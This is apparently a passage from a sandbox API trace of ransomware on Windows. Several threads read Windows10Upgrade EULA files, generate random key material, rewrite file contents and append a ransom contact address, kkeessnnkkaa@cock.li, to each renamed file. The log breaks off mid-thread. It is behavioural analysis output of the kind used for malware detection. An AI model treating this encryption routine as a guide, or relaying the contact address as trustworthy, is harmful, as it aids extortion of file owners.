	[0088.651] ReadFile (in: hFile=0x1bb8, lpBuffer=0x2bdbfa84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bdbfa80, lpOverlapped=0x0 | out: lpBuffer=0x2bdbfa84*, lpNumberOfBytesRead=0x2bdbfa80*=0x4, lpOverlapped=0x0) returned 1
	[0088.657] SetFilePointerEx (in: hFile=0x1bb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.657] NtQuerySystemTime (in: CurrentTime=0x2bdbfa60 | out: CurrentTime=0x2bdbfa60*=132251868153975317) returned 0x0
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x31f9555b
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x43f07870
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xc43f18fc
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x4d906458
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xacc687f9
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xe67bade2
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xc272a3ee
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xbe268fbc
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xd3e91431
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xfd0f13ba
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x543f974
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x38caefec
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x1c99bf72
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x2d0a8246
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x1a79a141
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x3bdf9280
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xa0e289f
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x5e409e80
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xe1c0e5cd
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x8d78935a
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xee65af3d
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xa9335f86
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xf2ab95df
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x76766df1
	[0088.657] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x9306c509
	[0088.658] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x661a112c
	[0088.658] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xf7b0d26c
	[0088.658] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x38ae5ce2
	[0088.658] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x6631fd37
	[0088.658] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0xe79e5ce1
	[0088.658] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x255bde98
	[0088.658] RtlRandom (in: Seed=0x2bdbfa6c | out: Seed=0x2bdbfa6c) returned 0x946c1010
	[0088.666] SetFilePointerEx (in: hFile=0x1bb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.666] ReadFile (in: hFile=0x1bb8, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bdbfa40, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bdbfa40*=0xc800, lpOverlapped=0x0) returned 1
	[0088.667] SetFilePointerEx (in: hFile=0x1bb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0088.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.669] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.669] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.669] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.669] WriteFile (in: hFile=0x1bb8, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bdbfa40, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x2bdbfa40*=0xc800, lpOverlapped=0x0) returned 1
	[0088.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e3a4d0
	[0088.670] SetFilePointerEx (in: hFile=0x1bb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.670] WriteFile (in: hFile=0x1bb8, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2bdbfac0, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bdbfac0*=0x10d, lpOverlapped=0x0) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e39fc8) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a4d0) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.672] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm"
	[0088.672] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.672] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bdbfa78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.673] NtQueryInformationFile (in: FileHandle=0x1bb8, IoStatusBlock=0x2bdbfa84, FileInformation=0x2bdbfa5c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bdbfa84, FileInformation=0x2bdbfa5c) returned 0x0
	[0088.673] NtSetInformationFile (FileHandle=0x1bb8, IoStatusBlock=0x2bdbfa84, FileInformation=0x2bdbfa5c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.674] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.674] FlushFileBuffers (hFile=0x1bb8) returned 1
	[0093.257] CloseHandle (hObject=0x1bb8) 

Thread:
	id = 1267
	os_tid = 0x2008

	[0088.666] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm")) returned 0x20
	[0088.670] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm", dwFileAttributes=0x20) returned 1
	[0088.670] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bbc
	[0088.671] GetFileSizeEx (in: hFile=0x1bbc, lpFileSize=0x2be3f844 | out: lpFileSize=0x2be3f844*=147140) returned 1
	[0088.671] SetFilePointerEx (in: hFile=0x1bbc, liDistanceToMove=0x23ec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.671] ReadFile (in: hFile=0x1bbc, lpBuffer=0x2be3f7c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2be3f7c4, lpOverlapped=0x0 | out: lpBuffer=0x2be3f7c8*, lpNumberOfBytesRead=0x2be3f7c4*=0x4, lpOverlapped=0x0) returned 1
	[0088.676] SetFilePointerEx (in: hFile=0x1bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d08
	[0088.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.676] NtQuerySystemTime (in: CurrentTime=0x2be3f7a4 | out: CurrentTime=0x2be3f7a4*=132251868154131770) returned 0x0
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x31585e94
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xd6e611e6
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x182b4074
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x4fef2096
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x211f8ffb
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xe0dc3a9d
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x747e17da
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xcfdf8379
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xecb0fb8b
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x3a82ea7b
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x76b773e9
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x2da14f87
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xee0358cb
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xda128aff
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xbcaf3e74
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xe6d5fc5b
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xc8674396
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x3819ee31
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x72850a2b
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x78eb211a
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x989321fb
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x601f8734
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x6f9f22de
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x2fb640d3
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x882c88c2
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x9474399
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x64afdfdf
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xda8cbd36
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x2d3d9988
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0xd766ef5d
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x78d797ce
	[0088.676] RtlRandom (in: Seed=0x2be3f7b0 | out: Seed=0x2be3f7b0) returned 0x9bc60711
	[0088.685] SetFilePointerEx (in: hFile=0x1bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.685] ReadFile (in: hFile=0x1bbc, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2be3f784, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2be3f784*=0xc800, lpOverlapped=0x0) returned 1
	[0088.686] SetFilePointerEx (in: hFile=0x1bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0088.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82b80
	[0088.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0088.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0088.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82b80) returned 1
	[0088.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0088.687] WriteFile (in: hFile=0x1bbc, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2be3f784, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x2be3f784*=0xc800, lpOverlapped=0x0) returned 1
	[0088.689] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.689] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e3a4d0
	[0088.689] SetFilePointerEx (in: hFile=0x1bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.689] WriteFile (in: hFile=0x1bbc, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2be3f804, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2be3f804*=0x10d, lpOverlapped=0x0) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a620) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a4d0) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0088.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b500
	[0088.691] wcscpy (in: _Dest=0x481b500, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm"
	[0088.691] wcscat (in: _Dest=0x481b500, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.691] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2be3f7bc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e8ce0
	[0088.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e8ce0) returned 1
	[0088.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dda0) returned 1
	[0088.692] NtQueryInformationFile (in: FileHandle=0x1bbc, IoStatusBlock=0x2be3f7c8, FileInformation=0x2be3f7a0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2be3f7c8, FileInformation=0x2be3f7a0) returned 0x0
	[0088.692] NtSetInformationFile (FileHandle=0x1bbc, IoStatusBlock=0x2be3f7c8, FileInformation=0x2be3f7a0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481b500) returned 1
	[0088.693] FlushFileBuffers (hFile=0x1bbc) returned 1
	[0093.258] CloseHandle (hObject=0x1bbc) 

Thread:
	id = 1268
	os_tid = 0x200c

	[0088.685] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm")) returned 0x20
	[0088.688] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm", dwFileAttributes=0x20) returned 1
	[0088.689] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bc0
	[0088.689] GetFileSizeEx (in: hFile=0x1bc0, lpFileSize=0x2bebfd5c | out: lpFileSize=0x2bebfd5c*=147140) returned 1
	[0088.689] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x23ec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.689] ReadFile (in: hFile=0x1bc0, lpBuffer=0x2bebfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bebfcdc, lpOverlapped=0x0 | out: lpBuffer=0x2bebfce0*, lpNumberOfBytesRead=0x2bebfcdc*=0x4, lpOverlapped=0x0) returned 1
	[0088.694] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.694] NtQuerySystemTime (in: CurrentTime=0x2bebfcbc | out: CurrentTime=0x2bebfcbc*=132251868154288608) returned 0x0
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x837f2721
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xe0cf11c1
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xe2a8f538
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x79670b8d
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xc35758
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x6b01a890
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x8d319b8a
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x9a0867b4
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x928c13fb
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x9d30d0b9
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x679778bc
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x30aba012
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xe0263f6e
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x49c3f2cc
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x2c14a78e
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xad94825c
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x8628739c
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xcc5086f1
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x515565f3
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xc7bc4d72
	[0088.694] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x8afd9983
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xb9f80a70
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xb5a5ff7
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x25904777
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xe982bca5
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0xf73d0201
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x891956d1
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x362985ef
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x691b7a4c
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x870c9516
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x402c8466
	[0088.695] RtlRandom (in: Seed=0x2bebfcc8 | out: Seed=0x2bebfcc8) returned 0x68f6be4e
	[0088.703] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.703] ReadFile (in: hFile=0x1bc0, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bebfc9c*=0xc800, lpOverlapped=0x0) returned 1
